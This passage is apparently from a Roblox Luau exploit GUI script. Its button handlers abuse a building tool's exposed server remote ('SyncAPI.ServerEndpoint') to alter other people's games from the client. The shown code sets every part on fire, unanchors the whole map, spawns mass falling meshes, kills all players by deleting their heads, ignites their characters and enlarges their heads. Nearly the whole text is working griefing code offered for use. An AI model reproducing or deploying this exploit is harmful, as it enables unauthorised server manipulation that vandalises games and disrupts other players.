						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function AddFire(part)
			local args = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
			_(args)
		end
		function FireParts()
			for i,v in game.Workspace:GetDescendants() do
				spawn(function()
					SetLocked(v,false)
					AddFire(v)
				end)
			end
		end
		FireParts()
	
	
	end)
end;
task.spawn(C_ff);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_101()
local script = G2L["101"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--rgrg
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = workspace
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = workspace.Part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		hrpcf = player.Character.HumanoidRootPart.CFrame
		while wait(0.5) do
			x = hrpcf.x
			z = hrpcf.z
			randint = math.random(-600,600)
			randint2 = math.random(-600,600)
			xloc = randint + x
			zloc = randint2 + z
			cf = player.Character.HumanoidRootPart.CFrame.y + 400
			spawn(function()
				CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
				for i,v in game.Workspace:GetDescendants() do
					if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
						SetName(v,"b_1337")
						SetAnchor(false,v)
						AddMesh(v)
						Resize(v, Vector3.new(100,100,100),v.CFrame)
						MeshResize(v,Vector3.new(3,3,3))
						SetMesh(v,"614605299")
						SetTexture(v, "614605300")
						SetCollision(v,false)
					else
					end
				end	
			end)
		end
	
	end)
end;
task.spawn(C_101);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_103()
local script = G2L["103"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent,types)
			local args = {
				[1] = "CreatePart",
				[2] = types,
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
	
		function Material(part,mate)
	
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = mate
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
		hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
		hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
		function SpawnBasePlate()
			CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
			for i,v in game.Workspace:GetChildren() do
				if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
					spawn(function()
						Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
						Material(v,Enum.Material.Grass)
						Color(v,Color3.fromRGB(25,100,25))
						while wait(1) do
							pcall(function()SetLocked(v,true)end)
						end
					end)
				end
			end
		end
		SpawnBasePlate()
	
	end)
end;
task.spawn(C_103);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_105()
local script = G2L["105"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
	
		function Unanchor()
			for i,v in game.Workspace:GetDescendants() do
				spawn(function()
					SetLocked(v,false)
					SetAnchor(false,v)
				end)
			end
		end
		Unanchor()
	
	
	end)
end;
task.spawn(C_105);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_107()
local script = G2L["107"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--rgrg
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = workspace
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = workspace.Part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		hrpcf = player.Character.HumanoidRootPart.CFrame
		while wait(0.5) do
			x = hrpcf.x
			z = hrpcf.z
			randint = math.random(-600,600)
			randint2 = math.random(-600,600)
			xloc = randint + x
			zloc = randint2 + z
			cf = player.Character.HumanoidRootPart.CFrame.y + 400
			spawn(function()
				CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
				for i,v in game.Workspace:GetDescendants() do
					if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
						SetName(v,"b_1337")
						SetAnchor(false,v)
						AddMesh(v)
						Resize(v, Vector3.new(100,100,100),v.CFrame)
						MeshResize(v,Vector3.new(20,20,20))
						SetMesh(v,"1618237875")
						SetTexture(v, "1618237897")
						SetCollision(v,false)
					else
					end
				end
			end)
		end
	
	end)
end;
task.spawn(C_107);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_109()
local script = G2L["109"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--rgrg
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = workspace.Part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function AddFire(part)
			local args = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
			_(args)
		end
	
		function Fire(player)
			for i,v in player.Character:GetDescendants() do
				if v:IsA("BasePart") then
					AddFire(v)
				end
			end
			DestroyPart(player.Character.Head)
		end
	
		for i,v in game.Players:GetPlayers() do
			spawn(function()
				pcall(function()
					Fire(v)
				end)
			end)
		end
	
	end)
end;
task.spawn(C_109);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_10b()
local script = G2L["10b"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
	
		function KillAll()
			for i,v in game.Players:GetPlayers() do
				spawn(function()
					SetLocked(v.Character.Head,false)
					DestroyPart(v.Character.Head)
				end)
			end
		end
		KillAll()
	
	end)
end;
task.spawn(C_10b);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_10d()
local script = G2L["10d"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
	
		function BigHead(player)
			local chara = player.Character
			spawn(function()
				SetLocked(chara.Head,false)
				MeshResize(chara.Head,Vector3.new(10,10,10))
			end)
		end
		for i,players in game.Players:GetPlayers() do
			BigHead(players)
		end
	
	end)
end;
task.spawn(C_10d);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_10f()
local script = G2L["10f"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		--rgrg
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
